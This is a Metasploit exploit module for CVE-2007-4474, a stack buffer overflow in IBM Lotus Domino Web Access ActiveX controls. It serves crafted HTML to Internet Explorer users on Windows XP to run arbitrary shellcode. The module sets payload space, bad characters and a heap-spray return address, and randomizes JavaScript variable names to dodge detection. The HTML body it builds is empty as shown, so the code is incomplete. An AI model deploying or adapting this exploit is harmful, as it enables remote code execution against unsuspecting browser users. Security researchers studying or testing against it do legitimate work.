## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in IBM Lotus Domino Web Access Upload Module. By sending an overly long string to the "General_ServerName()" property located in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Elazar Broad ' ], 'References' => [ [ 'CVE', '2007-4474' ], [ 'OSVDB', '40954' ], [ 'BID', '26972' ], [ 'EDB', '4820' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'Dec 20 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape(make_nops(4)) junk = Rex::Text.to_unescape(rand_text_alpha(2)) ret = Rex::Text.to_unescape([target.ret].pack('V')) blocksize = 0x30000 fillto = 400 # Randomize the javascript variable names dwa7w = rand_text_alpha(rand(100) + 1) inotes6 = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) j_junk = rand_text_alpha(rand(100) + 1) # Build out the message content = <<-EOF EOF print_status("Sending #{self.name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end